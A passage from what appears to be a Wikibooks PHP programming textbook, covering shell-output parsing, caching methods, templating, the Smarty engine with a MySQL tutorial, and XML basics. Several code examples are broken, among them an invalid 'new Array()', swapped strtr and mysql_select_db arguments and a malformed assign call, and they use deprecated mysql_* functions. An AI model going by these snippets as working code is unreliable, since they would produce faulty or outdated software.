        if(!stristr($line,$cmd)) { //we don't want output that was out command
  (because it also contains [start] and [end]
```

Alright, we only care about the output of our command, not all the other random crap that happens in the terminal. That's why we included echo [start] which will print out a literal [start] onto the screen telling php (below) to start looking at the output. But WAIT!!! The command we used to do that was echo '[start]'.....that contains [start] :P!!!! stristr as I explained before looks for the second parameter in the first. So if it find our command...we don't want it. Otherwise we keep going (note ! means NOT). Usefull operator

37.2.19 Checking for Start of Line

```
            if(preg_match('/\[start\]/',$line)) { //if we see that [start] is in
  the line that means we started
```

preg_match matches parameter a in parameter b.. Kinda like stristr except backwards and it uses regular expressions (you can read up on those on [6] They are really useful but...too

6 http://www.regular-expressions.info/

advanced for this n00b-oriented tutorial). If you wanna know more email me (hmm....just got an idea...maybe I should make a site explaining advanced concepts to n00bs....)

```
            $start = true; //set start to true
        }
```

Basically, if we match [start] we don't want that in our output, but we want to tell php that everything after this point is output. So we set the boolean $start to true.

```
        elseif(preg_match('/\[end\]/',$line)) { //we're done
               return $output; //return what we have (last line)
         }
```

if it matches [end], that means it's time to stop. So it returns our output, stored in ($output) which breaks the loop. this is stored in whatever variable we sent the result of user_exec() to.

```
        elseif($start && isset($line) && $line != "")
        {
```

Well, if it wasn't the start or the end, then it could one of two things: the output we want, or the output we don't. That's that $start is for. Think back to our first if statement. If it saw [start], it set $start to true. otherwise it's false. if you remember how booleans and conditions work, the && operator means to make sure that both ___ and ___ are true. so here both $start and isset($line) and $line != "" have to yeild TRUE. If $start was set to true by our top if block yay we go on. isset() is a functions that returns true if a certain variable... is set. Now remember our poor $line variable. For all those times that the shell script is running it isn't getting set to anything because fgets($shell) isn't returning anything!!! So basically isset($line) will check for that. If not, then well...time to restart the loop. over and over and over until something finally gets into $line. and $line != "" returns true if $line is NOT a blank line. We don't want blank lines...or do we...up to you. I don't for my purposes. But now you know what to do if you do.

```
                $output = $line; //return only last line (.= for all lines)
```

So say all 3 of our conditions are matched. There was a [start] before this line, $line is set to something, and it's not blank.

Important: What happens here is it resets $output to the contents of the latest line every time it runs. That's what I want. I only want the last line. It will keep replacing $output, line by line, until we read [end] in which case $output will only hold the last line. If you want ALL the output, you can do one of two things

1) Do $output .= $line . "
"; <- this is in the case that you are spitting out the output on screen. You APPEND (.=) to $output the contents of line and a break. 2) Do $output[] = $line; <- this adds the line to an array. So that you can analyze it further through php

That's it! Now you should understand how ever part of this script works, how to edit it, and more. Even if you're a beginner in PHP. Wasn't that easy? If you still don't get something you can email me at adz@jewc.org. It's my first time doing such a super-ultra-detailed tutorial, so I want your input!!!

38 Caching

A cache is a collection of duplicate data, where the original data is expensive to fetch or compute (usually in terms of access time) relative to the cache. In PHP, caching is used to minimize page generation time.

38.1 Classification

PHP provides several cache systems[1]:

Name	Data stored	Flush
Instance cache	PHP object. Ex:if (null === $x) { $x = 1; }	Restart the script (ex: refresh the Web page).
Session cache	PHP object[2]	Empty the navigator cookies.
OPcache[1]	Opcode[2][3]	opcache_reset();
APCu[3]	RAM users variables[4]	apc_clear_cache();
Navigator cache	Rendering	CTRL + F5
ESI[4]	Web page parts	Depends on the CDN[5] or proxy server[6] used.
Framework cache	Configurations, translations	Example of Symfony[7]: `php bin/console cache:clear` empty the temporary var/cache files.
Proxy	Entire web pages	For examples, see: Varnish[8], HAProxy[9].
NoSQL[10] database	Key-value pairs	For examples, see: Memcached[11], Redis[12].
ORM[13] cache	Annotations, SQL requests or their results	Example with Doctrine[14]:php bin/console doctrine:cache:clear-metadata php bin/console doctrine:cache:clear-query php bin/console doctrine:cache:clear-resultor:bin/console cache:pool:clear doctrine.query_cache_pool doctrine.result_cache_pool doctrine.system_cache_pool
Chain cache	Everything	Use each included cache flushes.

PHP basically has two main types of caching: 'output caching' and 'parser caching'. PHP 'output caching' saves a chunk of data somewhere that can later be read by another script faster than it can generate it. 'Parser caching' is specific feature. PHP is a scripting language and code is not compiled or optimized to a particular computer. Every PHP file must be parsed and that takes time. This type of time minimization is 'parser caching'.

1 https://en.wikipedia.org/wiki/List_of_PHP_accelerators#Zend_Opcache_.28ex._Zend_Optimizer.2B.29
2 https://en.wiktionary.org/wiki/opcode
3 https://en.wikipedia.org/wiki/Alternative_PHP_Cache
4 https://en.wikipedia.org/wiki/Edge_Side_Includes
5 https://en.wikipedia.org/wiki/Content_delivery_network
6 https://en.wikipedia.org/wiki/proxy_server
7 https://en.wikipedia.org/wiki/Symfony
8 https://en.wikipedia.org/wiki/Varnish_(software)
9 https://en.wikipedia.org/wiki/HAProxy
10 https://en.wikipedia.org/wiki/NoSQL
11 https://en.wikipedia.org/wiki/Memcached
12 https://en.wikipedia.org/wiki/Redis
13 https://en.wikipedia.org/wiki/Object%E2%80%93relational_mapping
14 https://en.wikipedia.org/wiki/Doctrine_(PHP)

38.2 Parser caching

38.2.1 Include caching

Example:

File:class.test.php

```
<?php
class test
{
    function hello()
    {
        echo "Hello world!\n";
    }
}
echo "Class loaded\n";
```

File:program.php

```
<?php
require_once("class.test.php");
$obj1 = new test;
$obj1->hello();
require_once("class.test.php");
$obj2 = new test;
$obj2->hello();
```

output:

```
Class loaded
Hello world!
Hello world!
```

38.2.2 Array caching

Example:

File:program.php

```
<?php
global $sum_cache;
$sum_cache=array();
function sum($nr)
{
    global $sum_cache;

    if (isset($sum_cache[$nr])) {
       echo "sum(".$nr.")=" . $sum_cache[$nr] . " from cache\n";
       return $sum_cache[$nr];
    }

    if ($nr <= 0) {
       $sum_cache[$nr] = 0;
    } else {
       $sum_cache[$nr] = sum($nr - 1) + $nr;
    }

    echo "sum(".$nr.")=" . $sum_cache[$nr] . " computed\n";
    return $sum_cache[$nr];
}
```

```
sum(3);
sum(4);
```

output:

```
sum(0)=0 computed
sum(1)=1 computed
sum(2)=3 computed
sum(3)=6 computed
sum(3)=6 from cache
sum(4)=10 computed
```

38.2.3 Session caching

Example:

file:program.php

```
<?php
session_start();
function find_my_name()
{
    //perhaps some time-consuming database queries
    return "Bill";
}
if (isset($_SESSION["hello"])) {
    echo "cached\n";
    session_destroy();
} else {
    echo "computed\n";
    $_SESSION["hello"] = "My Name is " . find_my_name() . ".\n";
}
echo $_SESSION["hello"];
```

output:

```
computed
My Name is Bill.
```

output after refresh:

```
cached
My Name is Bill.
```

38.2.4 Shared variables

Example:

file:program.php

```
<?php
class test
{
    var $list = array();

    function load_list()
    {
```

```
        // some less time consuming database queries
        $this->list[0]["info"] = "small info nr 1";
        $this->list[1]["info"] = "small info nr 2";
        $this->list[2]["info"] = "small info nr 3";
    }

    function load_element_detail(&$data)
    {
        // some very time consuming database queries
        $data["big"] = "added big info, maybe structure of objects";
    }

    function get_element($nr)
    {
        return $this->list[$nr];
    }

    function print_element($nr)
    {
        echo "this->list[${nr}]['info'] = '" . $this->list[$nr]['info'] . "'\n";
        echo "this->list[${nr}]['big']  = '" . $this->list[$nr]['big'] . "'\n";
    }
}

$obj = new test;

$obj->load_list();
$obj->print_element(0);

$element = &$obj->get_element(0);

$obj->load_element_detail($element);
$obj->print_element(0);
```

output:

```
$this->list[0]["info"]="small info nr 1"
$this->list[0]["big"]=""
$this->list[0]["info"]="small info nr 1"
$this->list[0]["big"]="added big info, maybe structure of objects"
```

38.3 Output Caching

The server cache policy is included into HTTP header[15], visible with cURL[16] (with option "I" for header):

```
curl -I http://example.org
```

Example:

```
curl -I https://en.wikibooks.org/
HTTP/2 301
date: Sun, 02 Jan 2022 11:50:58 GMT
server: mw1429.eqiad.wmnet
x-content-type-options: nosniff
```

15 https://en.wikipedia.org/wiki/HTTP_header
16 https://en.wikipedia.org/wiki/cURL

```
p3p: CP="See https://en.wikibooks.org/wiki/Special:CentralAutoLogin/P3P for more
 info."
vary: Accept-Encoding,X-Forwarded-Proto,Cookie,Authorization
cache-control: s-maxage=1200, must-revalidate, max-age=0
last-modified: Sun, 02 Jan 2022 11:50:58 GMT
location: https://en.wikibooks.org/wiki/Main_Page
content-length: 0
content-type: text/html; charset=utf-8
age: 1139
x-cache: cp3062 miss, cp3060 hit/4
x-cache-status: hit-front
server-timing: cache;desc="hit-front", host;desc="cp3060"
strict-transport-security: max-age=106384710; includeSubDomains; preload
report-to: { "group": "wm_nel", "max_age": 86400, "endpoints": [{ "url": "https:
//intake-logging.wikimedia.org/v1/events?stream=
w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0"
 }] }
nel: { "report_to": "wm_nel", "max_age": 86400, "failure_fraction": 0.05,
 "success_fraction": 0.0}
permissions-policy: interest-cohort=()
set-cookie: WMF-Last-Access=02-Jan-2022;Path=/;HttpOnly;secure;Expires=Thu, 03
 Feb 2022 12:00:00 GMT
set-cookie: WMF-Last-Acc
ess-Global=02-Jan-2022;Path=/;Domain=.wikibooks.org;HttpOnly;secure;Expires=Thu,
 03 Feb 2022 12:00:00 GMT
```

38.4 References

1. [17]
2. [18]
3. [19]
4. [20]

17 http://www.php-cache.com/en/latest/
18 https://www.php.net/manual/en/session.security.php
19 https://www.php.net/manual/en/intro.opcache.php
20 https://www.php.net/manual/en/intro.apcu.php

39 Why Templating

So what is a template, in the first place? For our purpose, a template is an HTML-like document that defines the *presentation* of a web page, while a PHP script supplies the *content*. The separation of content and presentation is at the heart of any GUI[1] paradigm. To see why this is desirable, consider the following hypothetical, yet realistic script. It's a script to retrieve a list of books from the database and display it as a table with alternate colours for each row, or ”No books found” if the list is empty.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
       "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
      <title>List of Books</title>
   </head>

    <body>

<?php
$books = new Array();
$i = 0;

$database = open_database();
if (is_null($database)) {?>
    <h1>Error opening database</h1>
    Please contact the system administrator at alice@wonderland.com and report
 the problem.
    </body>
    </html>

<?php
    exit();
}

$result = $database->query("SELECT ISBN, title, author FROM book");
while ($row = $result->retrieveAssoc()) {
    $books[] = $row;
}?>

    <table>
        <?php
        if (count($books) == 0) {
            echo "<tr><td>No books found</td></tr>";
        }
        else {
            foreach ($books as $book) {
                if ($i % 2 == 0) {
                    echo "<tr bgcolor='#EEEEEE'>";
                } else {
                    echo "<tr bgcolor='#FFFFFF'>";
                }
                $i++; ?>
                <td><?php echo $book['ISBN']; ?></td>
```

1 https://en.wikipedia.org/wiki/GUI

```
                <td><?php echo $book['title']; ?></td>
                <td><?php echo $book['author']; ?></td>
                </tr>
        <?php
            }
        }?>
    </table>
</body>
</html>
```

You will find yourself writing this kind of script very soon. The problems with this script are obvious:

- This PHP page really is two pages, one for the error message and one for the normal display. Confusing.
- Even for the normal display part, the PHP script does two things: prepare the data and format it, e.g. alternate colour for each row.
- Look at how entangled the PHP and HTML codes are. Good indentation becomes practically impossible and that makes the code difficult to read.
- What if your boss now wants not a table, but a list instead? You will need to alter your PHP code for that.
- And now your boss wants a fancier error page that needs at least 300 lines of HTML, can you still tell where your first "page" ends and the second starts?
- You probably need to teach your graphics designer PHP if he wants to do any aesthetic make up to your page.

The list goes on.

39.1 See also

- PHP Programming/smarty[2]

2 https://en.wikibooks.org/wiki/PHP_Programming/smarty

40 Templates

40.1 Basic Templating

The simplest use of templates in PHP is very powerful for reducing errors and time spent on your pages. First, make sure your server has PHP enabled, etc., etc.

When you're ready to start, make one page that will be the template for all your pages. For example:

```
This is a title at the top of my page

This is the body of my page

This is a copyright notice
```

Now, say you want 2 more pages with the same header and footer. You don't have to code it again. You can save the header as one template and the footer as another. Just take all the header html up to the part where your body text begins:

```
<html><body><p>This is a title at the top of my page</p>
```

Now save this as a separate file. I like to use the extension .inc (do the same with the footer)

```
<p>This is the bottom of my page</p></body></html>
```

Now, in your main page, just type:

```
<?php require('header.inc'); ?>
<p>this is the body of my page</p>
<?php require('footer.inc'); ?>
```

And that's your page. Save it as a .php, upload it, and check it.

40.2 Notes

You can also use the **include()** or **include_once()** functions, if the page should continue loading, even if the file(s) can not be included.

The **require()**, **include()** and **include_once()** functions will work with other file types, and can be used anywhere on a page.

Advanced: Try using this with an if statement for DYNAMIC templating... ooh...

40.3 Managed Templating

Managed Templating allows you to create and use PHP Templates with a Template Engine. The PHP Developer/Designer doesn't have to create the engine for it to be used. The most reliable PHP Templating Engine is Smarty ([2][1]). Managed Template Systems are easy to use and are mostly used in big websites because of the need for dynamic paging. MediaWiki is one example of a Managed Template System. Managed Templating is easy to use for new and advanced users, for example:

- index.php

```
// This script is based on Smarty
require_once("libs/Smarty.inc.php");
// Compiled File Directory
$smarty->compile_dir = "compiled";
// Template Directory
$smarty->template_dir = "templates";
// Assign a Variable
$smarty->assign("variable","value");
// Display The Parsed Template
$smarty->display("template.tpl");
```

- template.tpl

```
The Value of Variable is : {$variable}
```

- Output

```
The Value of Variable is : value
```

40.4 Roll Your Own

Template engines work great, however if you are just looking for the basic Search and Replace template functionality, writing your own script is a snap.

- Simple template function

```
function Template($file, $array) {
    if (file_exists($file)) {
        $output = file_get_contents($file);
        foreach ($array as $key => $val) {
            $replace = '{'.$key.'}';
            $output = str_replace($replace, $val, $output);
        }
        return $output;
    }
}
```

- Using the function

```
$fruit = 'Watermelon';
$color = 'Gray';

//parse and return template
```

1 http://smarty.php.net

```
$Template_Tpl = Template('template.tpl',
    array
    (
        'fruit'    => $fruit,
        'color'    => $color
    ));

//display template
echo $Template_Tpl;
```

- template.tpl, Template used for the above function

```
<p>
  <b>Your Favorite Food Is: {fruit}</b>
  <b>Your Favorite Color Is: {color}</b>
</p>
```

- Parsed template output

```
<p>
  <b>Your Favorite Food Is: Watermelon</b>
  <b>Your Favorite Color Is: Gray</b>
</p>
```

41 Smarty templating system

41.1 What is Smarty?

Smarty[1] is a templating engine for PHP. It allows you to separate **logic** and **presentation** by separating the PHP code from the HTML (or anything else for that matter) presentation [1].

41.2 Old/custom templating engine example

It is just like below: (The code below is a demo of a custom template engine - not Smarty)

There are two files here ”mail.html” (we can say this is a template file) and ”mail_engine.php” (ya, you are right...it is an engine.)

mail.html

```
<html>
<body>
<h1>My company name is #COMPANY#</h1>
<p>
  Please note our address #ADDRESS1#, #ADDRESS2#, #CITY#-#PIN#.
  Contact us on #PHONE#.
</p>
<p>
 Hope you like my mail.
</p>
<p>
 Thanking You,
</p>
<address> Jaydeep Dave, +919898456445, jaydipdave@yahoo.com </address>
</body>
</html>
```

mail_engine.php

```
<?php
 $contents = file_get_contents("mail.html");
 function rtemplate(&$tdata,$vars)
 {
   $nv = array();
   foreach($vars as $key => $value)
   {
     $kk = "#".strtoupper($key)."#";
     $nv[$kk] = $value;
   }
   unset($vars);
   $tdata = strtr($nv,$tdata);
```

1 https://en.wikipedia.org/wiki/Smarty_(template_engine)

```
  return true;
 }
 $vars = array(
   "company" => "Premier Business Softwares&quot",
   "address1" => "XXXXXXXXXX",
   "address2" => "XXXXXXXXXX",
   "city"=>"bHAVNAGAR",
   "pin"=>"364001",
   "phone"=>"+919898456445"
 );
 rtemplate($contents,$vars);
 echo $contents;
?>
```

This example allows small functionality. You might have big problems if your company value contains #CITY#, for example. There are much more advantages of using smarty. But anyway, raw PHP templating is most effective and fastest.

41.3 How does it work?

Smarty is a template engine which actually compiles the template file to the php file that can be later executed. This simply saves time on parsing and variable outputs, beating other Template Engines with much smaller memory use and regex.

41.4 Installation

Installation is very basic and easy to use

1. Download Smarty Source from smarty.net[2]
2. Open it using your archive extractor (must be compatible with .tar.gz files)
3. Go to the directory called Smarty-x.x.x
4. Copy the **libs** folder to your website's root (where you want the website to exist, for example /My_Site/)
5. You are done!

There is no requirement to copy other files as they are simple examples.

41.5 Usage

41.5.1 Simple example

```
<?php
     $abc = 'hello ';
     $smarty->abc("abc",$abc);
?>
{$abc}
```

2 http://www.smarty.net/download.php

41.5.2 Basic Syntax

```
{* Sample Smarty Template *}

{* Include a header file *}

{* Include a file from a variable $header_file, which is defined by the php
script *}
{include file=$header_file}
{include file="middle.tpl"}
{* Simple alternative to PHP's echo $title;
{$title}
{* Include a file from a variable #footer#, which is defined by the config file
*}
{include file=#footer#}

{* display dropdown lists *}
<select name="company">
{html_options values=$vals selected=$selected output=$output}
</select>
{*end*}
```

41.5.3 Basic Syntax #2

Comments:

```
{* Comment *}
```

Writing a variable, assigned from the PHP script:

```
{$variable}
```

Writing a variable, assigned from the config file:

```
#variable#
```

Using a variable in a function:

```
$variable
```

Other Examples (Smarty Documentation):

```
{$foo}        <!-- displaying a simple variable (non array/object) -->
{$foo[4]}     <!-- display the 5th element of a zero-indexed array -->
{$foo.bar}    <!-- display the "bar" key value of an array, similar to PHP
$foo['bar'] -->
{$foo.$bar}   <!-- display variable key value of an array, similar to PHP
$foo[$bar] -->
{$foo->bar}   <!-- display the object property "bar" -->
{$foo->bar()} <!-- display the return value of object method "bar" -->
{#foo#}       <!-- display the config file variable "foo" -->
{$smarty.config.foo} <!-- synonym for {#foo#} -->
{$foo[bar]}   <!-- syntax only valid in a section loop, see {section}  -->
```

Many other combinations are allowed:

```
{$foo.bar.baz}
{$foo.$bar.$baz}
{$foo[4].baz}
{$foo[4].$baz}
{$foo.bar.baz[4]}
```

```
{$foo->bar($baz,2,$bar)} <!-- passing parameters -->
{"foo"}       <!-- static values are allowed -->
```

Calling Functions:

```
{function}
```

41.5.4 Integrating into a website

To make use of the Smarty Template engine you will need to change your php script, which is used for controlling the Smarty engine and compile the template file. Simple example:

```
<?php
 // Include Smarty Library
 require_once("libs/Smarty.inc.php");
 // Create new variable $smarty from the class Smarty
 $smarty=new Smarty();
 // Set the template directory, very useful for different templates
 $smarty->template_dir="templates";
 // From here you should put your own code
 // Set some variables
 $smarty->assign("Title"=>"Just a test");
 // Create an array, which we will assign later
 $contacts=array(
   array("Name"=>"John
 Parkinson","email"=>"john.parkinson.test@domain.tld","age"=>26),
   array("Name"=>"Super Mario","email"=>"super.mario@domain.tld","age"=>54),
   array("Name"=>"Pete Peterson","email"=>"pete.peterson@domain.tld","age"=>18),
   array("Name"=>"Smarty
 Creator","email"=>"smarty.creator@domain.tld","age"=>37)
 );
 // Assign the array
 $smarty->assign("contacts",$contacts);
 // Compile and Display output of the template file '''templates/index.tpl'''
 // Up to here you should put your own code
 $smarty->display("index.tpl");
?>
```

41.5.5 Variables

#Basic Syntax #2[3]

41.5.6 Arrays

Please refer to `#Variables`

41.6 Looping

Looping in smarty is just like PHP, except that there are different ways of approaching the variables. For example, in PHP you would write this:

3 `#Basic_Syntax_#2`

```
foreach($array as $key => $value) {
   echo "$key => $value\n";
}
```

As Smarty compiles similar piece of code by this:

```
{foreach from=$array key="key" item="value"}
{$key} => {$value}
{/foreach}
```

Also, you can use a **section**[4] function which is very similar to **foreach**[5]

In the case the designer wanted to add bullet points, or indexes of the array items, there would be no need to do anything for the programmer as you can use other variables that would change themselves after each loop.

41.7 Conditions

{if} statements in Smarty have much the same flexibility as PHP if statements, with a few added features for the template engine. Every {if} must be paired with an {/if}. {else} and {elseif} are also permitted. All PHP conditionals are recognized, such as ||, or, &&, and, etc.

The following is a list of recognized qualifiers, which must be separated from surrounding elements by spaces. Note that items listed in [brackets] are optional. PHP equivalents are shown where applicable.

Qualifier	**Alternates**	**Syntax Example**	**Meaning**	**PHP Equivalent**
==	eq	$a eq $b	equals	==
!=	ne, neq	$a neq $b	not equals	!=
>	gt	$a gt $b	greater than	>
<	lt	$a lt $b	less than	<
>=	gte, ge	$a ge $b	greater than or equal	>=
<=	lte, le	$a le $b	less than or equal	<=
===		$a === 0	check for identity	===
!	not	not $a	negation (unary)	!
%	mod	$a mod $b	modulous	%
is [not] div by		$a is not div by 4	divisible by	$a % $b == 0

4 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/Functions&action=edit&redlink=1

5 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/Functions&action=edit&redlink=1

Qualifier	Alternates	Syntax Example	Meaning	PHP Equivalent
is [not] even		$a is not even	[not] an even number (unary)	$a % 2 == 0
is [not] even by		$a is not even by $b	grouping level [not] even	($a / $b) % 2 == 0
is [not] odd		$a is not odd	[not] an odd number (unary)	$a % 2 != 0
is [not] odd by		$a is not odd by $b	[not] an odd grouping	($a / $b) % 2 != 0

41.8 References

1. Smarty Website[6], Documentation, Downloads

6 http://www.smarty.net/

42 Smarty templating system/Functions

This page or section is an undeveloped draft or outline.
You can help to develop the work[1], or you can ask for assistance in the project room[2].

- Built-in functions
  - capture[3]
  - config_load[4]
  - foreach[5]
  - foreachelse[6]
  - if[7]
  - elseif[8]
  - else[9]
  - include[10]
  - include_php[11]
  - insert[12]
  - ldelim[13]
  - rdelim[14]
  - literal[15]

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming&action=edit
2 https://en.wikibooks.org/wiki/Wikibooks:PROJECTS
3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/capture&action=edit&redlink=1
4 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/config_load&action=edit&redlink=1
5 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/foreach&action=edit&redlink=1
6 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/foreachelse&action=edit&redlink=1
7 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/if&action=edit&redlink=1
8 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/elseif&action=edit&redlink=1
9 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/else&action=edit&redlink=1
10 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/include&action=edit&redlink=1
11 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/include_php&action=edit&redlink=1
12 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/insert&action=edit&redlink=1
13 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/ldelim&action=edit&redlink=1
14 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/rdelim&action=edit&redlink=1
15 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/literal&action=edit&redlink=1

  - |php[16]
  - section[17]
  - sectionelse[18]
  - strip[19]
- Custom functions
  - assign[20]
  - counter[21]
  - cycle[22]
  - debug[23]
  - eval[24]
  - fetch[25]
  - html_checkboxes[26]
  - html_image[27]
  - html_options[28]
  - html_radios[29]
  - html_select_date[30]
  - html_select_time[31]
  - html_table[32]
  - mailto[33]
  - math[34]

16 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/php&action=edit&redlink=1
17 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/section&action=edit&redlink=1
18 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/sectionelse&action=edit&redlink=1
19 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/strip&action=edit&redlink=1
20 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/assign&action=edit&redlink=1
21 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/counter&action=edit&redlink=1
22 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/cycle&action=edit&redlink=1
23 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/debug&action=edit&redlink=1
24 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/eval&action=edit&redlink=1
25 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/fetch&action=edit&redlink=1
26 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_checkboxes&action=edit&redlink=1
27 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_image&action=edit&redlink=1
28 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_options&action=edit&redlink=1
29 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_radios&action=edit&redlink=1
30 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_select_date&action=edit&redlink=1
31 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_select_time&action=edit&redlink=1
32 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/html_table&action=edit&redlink=1
33 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/mailto&action=edit&redlink=1
34 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/math&action=edit&redlink=1

- popup[35]
- popup_init[36]
- textformat[37]

[35] https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/popup&action=edit&redlink=1
[36] https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/popup_init&action=edit&redlink=1
[37] https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/textformat&action=edit&redlink=1

43 Smarty templating system/Simple tutorial

1. Create a directory called **Website**, in your webserver.
2. Copy Smarty's **libs** directory into it installation.
3. Create a directory called **compile**.
4. Create a directory called **templates**.
5. In the **Website** directory, create a file called **index.php** and **Web.class.php**. Make sure that they are blank.
6. **Web.class.php** should look like this:

```
<?php
class Web {
 function db_connect($db_host,$db_user,$db_pass,$db_db) {
  $this->link=@mysql_connect($db_host,$db_user,$db_pass) or die("Can't connect
to database");
  @mysql_select_db($this->link,$db_db) or die("Connected, but can't select the
database");
 }
 function db_query($sql) {
  return @mysql_query($this->link,$sql);
 }
 function db_close() {
  mysql_close($this->link);
 }
}
?>
```

7. **index.php** should be this:

```
<?php
error_reporting(E_ALL);
$db=array("host"=>"localhost","user"=>"root","pass"=>"","db"=>"database");
$tables['content']="test_content";
require_once("Web.class.php");
$web=new Web();
$web->db_connect($db['host'],$db['user'],$db['pass'],$db['db']);
require_once("libs/Smarty.inc.php");
$smarty=new Smarty();
$smarty->template_dir="template";
$smarty->compile_dir="compile";
if ( isset($_GET['content_id']) && is_numeric($_GET['content_id']) ) {
 $sql="SELECT * FROM {$tables['content']} WHERE content_id =
'{$_GET['content_id']}' LIMIT 1";
 $result=$web->db_query($sql);
 $rows=array();
 while ( $row=mysql_fetch_assoc($result) ) {
  $rows[]=$row;
 }
 if ( count($rows) == 1 ) {
  $smarty->assign("content_found",true);
  $smarty->assign("content_content",$rows['0']);
 } else {
  $smarty->assign("content_found",false);
 }
```

```
$smarty->assign("section","content");
}
else {
 $sql="SELECT content_title,content_date,content_position,content_id FROM
{$tables['content']} ORDER by content_position asc";
 $result=$web->db_query($sql);
 $rows=array();
 while ( $row=mysql_fetch_assoc($result) ) {
  $rows[]=$row;
 }
 $smarty->assign("section","home");
 $smarty->assign("content_content",$rows);
}
$smarty->display("index.tpl");
$web->db_close();
?>
```

8. Go to the **templates** directory
9. Create a new file called **index.tpl**, make sure it's empty
10. Create your own html design or anything and in the middle (where you want the content to be), write this:

```
{if $section == "home"}
 <ul>
 {foreach from="content_content" item="content_item"}
<li><a href="
./?content_id={$content_item.content_id}">{$content_item.content_title}</a></li>
 {/foreach}
 </ul>
{elseif $section == "content"}
  <div><h1>{$content_content.content_title}</h1></div>
  <div>{$content_content.content_content}</div>
{else}
 Sorry, there is no such page here!
{/if}
```

11. Create new MySQL table, with the following information:

```
TABLE NAME: test_content
PRIMARY KEY: content_id
content_id: INTEGER, EXTRA - AUTO_INCREASE
content_title: VARCHAR(255)
content_date: DATETIME
content_content: TEXT
content_position: INTEGER
```

12. Modify your **index.php** and **index.tpl** as necessary (notice the **$db** in **index.php** , change it to your settings!
13. Now, using your MySQL Client (phpMyAdmin[1][1]/MySQL[2][2] or other tools), add new rows in your table, with content and its title. Try it with three at the start.
14. Now, go to your directory **Website** through your Web Browser (you might need to upload it to your web server or set one up on your computer) ;)

If you have any problems, go to ask on IRC [3] or contact me. I haven't tested this script yet so you might find some small mistakes.

1. For the later versions of MySQL use the following code:

1 https://en.wikibooks.org/w/index.php?title=PhpMyAdmin&action=edit&redlink=1
2 https://en.wikibooks.org/wiki/MySQL
3 irc://irc.freenode.org/php

```
CREATE TABLE `test_content` (
 `content_id` INT(11) NOT NULL AUTO_INCREMENT,
 `content_title` VARCHAR(255) NOT NULL,
 `content_date` DATETIME NOT NULL,
 `content_content` TEXT NOT NULL,
 `content_position` INT(11) NOT NULL,
 PRIMARY KEY (`content_id`)
)
TYPE = myisam;
```

43.1 References

1. [4]
2. [5]

4 http://www.phpMyAdmin.net/
5 http://dev.mysql.com

44 XML

XML stands for Extensible Markup Language and is based loosely on HTML. XML is used mainly to store and transfer information from one protocol or language to another. The code for XML is very open, you can create your own tags though they must follow the syntax rules of XML which are very similar to but stricter than HTML. For Example:

```
<my_info>
   <my_name>Jeremy</my_name>
   <my_hair_color>Blonde</my_hair_color>
</my_info>
```

As you can see, the structure is almost identical to that of HTML, but you are able to define your own tags.

Once the template done, it can be manipulated in PHP by the class DOMDocument(), as mentioned in the chapter User:Dirk Hünniger/XSL/registerPHPFunctions[1].

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/XSL/registerPHPFunctions&action=edit&redlink=1

45 XSL

ToDoList:

